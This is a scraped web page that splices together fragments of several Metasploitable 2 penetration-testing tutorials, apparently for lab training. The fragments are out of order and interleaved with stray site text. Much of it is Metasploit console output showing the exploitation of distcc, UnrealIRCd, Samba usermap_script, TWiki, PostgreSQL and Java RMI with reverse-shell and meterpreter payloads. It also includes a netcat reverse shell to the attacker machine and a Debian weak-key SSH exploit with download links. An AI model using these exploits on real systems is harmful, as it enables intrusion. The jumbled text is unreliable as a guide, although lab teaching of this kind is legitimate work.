RHOST yes The target address 0 Automatic Target XSS via any of the displayed fields. msf exploit(usermap_script) > exploit Cross site scripting via the HTTP_USER_AGENT HTTP header. RPORT 1099 yes The target port For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2. Telnet is a program that is used to develop a connection between two machines. Enter the required details on the next screen and click Connect. These backdoors can be used to gain access to the OS. Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution. [*] Writing to socket B [*] trying to exploit instance_eval msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 Here's what's going on with this vulnerability. However, the exact version of Samba that is running on those ports is unknown. Meterpreter sessions will autodetect Display the contents of the newly created file. Were going to use netcat to connect to the attacking machine and give it a shell: Listen on port 5555 on the attackers machine: Now that all is set up, I just make the exploit executable on the victim machine and run it: Now, for the root shell, check our local netcat listener: A little bit of work on that one, but all the more satisfying! Browsing to http://192.168.56.101/ shows the web application home page. THREADS 1 yes The number of concurrent threads -- ---- SMBPass no The Password for the specified username If so please share your comments below. [*] B: "7Kx3j4QvoI7LOU5z\r\n" ---- --------------- -------- ----------- In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres. However the .rhosts file is misconfigured. VERBOSE true yes Whether to print output for all attempts RHOST 192.168.127.154 yes The target address msf exploit(distcc_exec) > set RHOST 192.168.127.154 msf exploit(unreal_ircd_3281_backdoor) > show options Step 3: Always True Scenario. [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) Proxies no Use a proxy chain [*] Meterpreter session 1 opened (192.168.127.159:4444 -> 192.168.127.154:37141) at 2021-02-06 22:49:17 +0300 Thus, we can infer that the port is TCP Wrapper protected. Rapid7 Metasploit Pro installers prior to version 4.13.0-2017022101 contain a DLL preloading vulnerability, wherein it is possible for the installer to load a malicious DLL located in the current working directory of the installer. Highlighted in red underline is the version of Metasploit. Stop the Apache Tomcat 8.0 Tomcat8 service. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. Metasploit is a free open-source tool for developing and executing exploit code. In the next section, we will walk through some of these vectors. This must be an address on the local machine or 0.0.0.0 The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. This will provide us with a system to attack legally. [*] Reading from socket B Step 1:Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. What Is Metasploit? Do you have any feedback on the above examples or a resolution to our TWiki History problem? Below is a list of the tools and services that this course will teach you how to use. After you have downloaded the Metasploitable 2 file, you will need to unzip the file to see its contents. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. ---- --------------- -------- ----------- msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat RHOST => 192.168.127.154 Id Name Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state. There was however an error generated though this did not stop the ability to run commands on the server including ls -la above and more: Whilst we can consider this a success, repeating the exploit a few times resulted in the original error returned. Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 0 Automatic msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse RHOSTS yes The target address range or CIDR identifier A Computer Science portal for geeks. [*] 192.168.127.154:5432 Postgres - Disconnected Part 2 - Network Scanning. [+] 192.168.127.154:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) msf exploit(java_rmi_server) > show options RHOST => 192.168.127.154 This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. Eventually an exploit . RPORT 3632 yes The target port msf exploit(distcc_exec) > set payload cmd/unix/reverse As the payload is run as the constructor of the shared object, it does not have to adhere to particular Postgres API versions. RHOST => 192.168.127.154 In this example, Metasploitable 2 is running at IP 192.168.56.101. Module options (auxiliary/scanner/smb/smb_version): [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history -- ---- ---- --------------- -------- ----------- Exploiting All Remote Vulnerability In Metasploitable - 2. [*] 192.168.127.154:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login: Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. You could log on without a password on this machine. Setting the Security Level from 0 (completely insecure) through to 5 (secure). Commands end with ; or \g. First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. 865.1 MB. To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. Yet weve got the basics covered. whoami Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. ---- --------------- -------- ----------- RPORT 5432 yes The target port On July 3, 2011, this backdoor was eliminated. This could allow more attacks against the database to be launched by an attacker. [*] Sending backdoor command Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. Name Current Setting Required Description USER_AS_PASS false no Try the username as the Password for all users They are input on the add to your blog page. This is about as easy as it gets. Metasploitable 2 is designed to be vulnerable in order to work as a sandbox to learn security. RHOST yes The target address 0 Automatic Target If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. LHOST => 192.168.127.159 Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. RHOSTS => 192.168.127.154 Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. URI yes The dRuby URI of the target host (druby://host:port) This will be the address you'll use for testing purposes. Return to the VirtualBox Wizard now. :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. [*] Accepted the second client connection Keywords vulnerabilities, penetration testing, Metasploit, Metasploitable 2, Metasploitable 3, pen-testing, exploits, Nmap, and Kali Linux Introduction Metasploitable 3 is an intentionally vulnerable Windows Server 2008R2 server, and it is a great way to learn about exploiting windows operating systems using Metasploit. Metasploitable 2 VM is an ideal virtual machine for computer security training, but it is not recommended as a base system. After you log in to Metasploitable 2, you can identify the IP address that has been assigned to the virtual machine. Least significant byte first in each pixel. [*] Writing to socket A The compressed file is about 800 MB and can take a while to download over a slow connection. In our testing environment, the IP of the attacking machine is 192.168.127.159, and the victim machine is 192.168.127.154. Step 1: Setup DVWA for SQL Injection. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. Before running it, you need to download the pre-calculated vulnerable keys from the following links: http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 (RSA keys), http://www.exploit-db.com/sploits/debian_ssh_dsa_1024_x86.tar.bz2 (DSA keys), ruby ./5632.rb 192.168.127.154 root ~/rsa/2048/. Module options (exploit/unix/misc/distcc_exec): Then we looked for an exploit in Metasploit, and fortunately, we got one: Distributed Ruby Send instance_eval/syscall Code Execution. -- ---- Once you open the Metasploit console, you will get to see the following screen. The advantage is that these commands are executed with the same privileges as the application. msf exploit(postgres_payload) > set LHOST 192.168.127.159 Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. payload => linux/x86/meterpreter/reverse_tcp After the virtual machine boots, login to console with username msfadmin and password msfadmin. We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. msf exploit(twiki_history) > set payload cmd/unix/reverse Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2. CVEdetails.com is a free CVE security vulnerability database/information source. [*] Backgrounding session 1 NetlinkPID no Usually udevd pid-1. Then, hit the "Run Scan" button in the . The applications are installed in Metasploitable 2 in the /var/www directory. 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Target address 0 Automatic target XSS via any of the attacking machine is 192.168.127.159, and the victim machine an!
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